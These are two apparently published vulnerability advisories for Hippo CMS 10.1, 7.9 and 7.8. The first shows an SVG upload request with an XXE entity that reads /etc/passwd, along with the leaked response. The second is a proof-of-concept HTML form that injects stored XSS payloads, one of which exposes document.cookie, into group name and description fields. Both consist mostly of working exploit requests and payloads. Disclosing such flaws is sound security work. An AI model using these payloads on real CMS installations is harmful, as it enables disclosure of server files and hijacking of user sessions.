Hippo CMS 10.1 XML External Entity Information Disclosure Vulnerability Vendor: Hippo B.V. Product web page: http://www.onehippo.org Affected version: 10.1, 7.9 and 7.8 (Enterprise Edition) Summary: Hippo CMS is an open source Java CMS. We built it so you can easily integrate it into your existing architecture. Desc: XXE (XML External Entity) processing through upload of SVG images in the CMS, and through XML import in the CMS Console application. Tested on: Linux 2.6.32-5-xen-amd64 Java/1.8.0_66 Apache-Coyote/1.1 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2016-5301 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5301.php Vendor: http://www.onehippo.org/security-issues-list/security-12.html http://www.onehippo.org/about/release-notes/10/10.1.2-release-notes.html 04.12.2015 --- [Request]: POST /?1-8.IBehaviorListener.0-root-tabs-panel~container-cards-2-panel-center-tabs-panel~container-cards-3-panel-editor-extension.editor-form-template-view-3-item-view-1-item-extension.upload-fileUpload-form-fileUpload HTTP/1.1 Host: 10.0.2.17 User-Agent: ZSL_Web_Scanner/2.8 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Referer: https://10.0.2.17/?1&path=/content/gallery/test4.svg Content-Length: 2101 Content-Type: multipart/form-data; boundary=---------------------------20443294602274 Cookie: [OMMITED] Connection: keep-alive Pragma: no-cache Cache-Control: no-cache -----------------------------20443294602274 Content-Disposition: form-data; name="id1a0_hf_0" -----------------------------20443294602274 Content-Disposition: form-data; name="cards:3:panel:editor:extension.editor:form:template:view:1:item :view:1:item:value:widget" -----------------------------20443294602274 Content-Disposition: form-data; name="cards:3:panel:editor:extension.editor:form:template:view:2:item :view:1:item:view:1:item:view:1:item:value:widget" -----------------------------20443294602274 Content-Disposition: form-data; name="cards:3:panel:editor:extension.editor:form:template:view:2:item :view:1:item:view:2:item:view:1:item:value:widget" -----------------------------20443294602274 Content-Disposition: form-data; name="cards:1:panel:editor:extension.editor:form:template:extension.left :view:1:item:view:1:item:value:widget" asd -----------------------------20443294602274 Content-Disposition: form-data; name="cards:1:panel:editor:extension.editor:form:template:extension.left :view:2:item:view:1:item:value:widget" hhh -----------------------------20443294602274 Content-Disposition: form-data; name="cards:1:panel:editor:extension.editor:form:template:extension.left :view:3:item:view:1:item:panel:editor" -----------------------------20443294602274 Content-Disposition: form-data; name="cards:1:panel:editor:extension.editor:form:template:extension.right :view:2:item:view:1:item:value:widget" hhh -----------------------------20443294602274 Content-Disposition: form-data; name="cards:1:panel:editor:extension.editor:form:template:extension.right :view:3:item:view:1:item:value:widget" hhhh -----------------------------20443294602274 Content-Disposition: form-data; name="files[]"; filename="svgupload2.svg" Content-Type: image/svg+xml <?xml version="1.0" standalone="yes"?><!DOCTYPE zsl [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ] ><svg width="500px" height="40px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999 /xlink" version="1.1">&xxe;</svg> -----------------------------20443294602274-- [Response]: <?xml version="1.0" encoding="UTF-8"?><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www .w3.org/1999/xlink" height="7" version="1.1" viewBox="0 0 500.0 40.0" width="98"> root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync *** *** *** *** </svg> ############################################################################### <!-- Hippo CMS 10.1 Stored Cross-Site Scripting Vulnerability Vendor: Hippo B.V. Product web page: http://www.onehippo.org Affected version: 10.1, 7.9 and 7.8 (Enterprise Edition) Summary: Hippo CMS is an open source Java CMS. We built it so you can easily integrate it into your existing architecture. Desc: Hippo CMS suffers from a stored XSS vulnerability. Input passed thru the POST parameters 'groupname' and 'description' is not sanitized allowing the attacker to execute HTML code into user's browser session on the affected site. Tested on: Linux 2.6.32-5-xen-amd64 Java/1.8.0_66 Apache-Coyote/1.1 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2016-5300 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5300.php Vendor: http://www.onehippo.org/security-issues-list/security-12.html http://www.onehippo.org/about/release-notes/10/10.1.2-release-notes.html 04.12.2015 --> <html> <body> <form action="https://10.0.2.17/?1-1.IBehaviorListener.0-root-tabs-panel~container-cards-6-panel-panel-form-create~button" method="POST"> <input type="hidden" name="id26c_hf_0" value="" /> <input type="hidden" name="groupname" value="<img src=ko onerror=confirm(document.cookie)>" /> <input type="hidden" name="description" value="<img src=ko onerror=confirm(2)>" /> <input type="hidden" name="create-button" value="1" /> <input type="submit" value="Inject code" /> </form> </body> </html>
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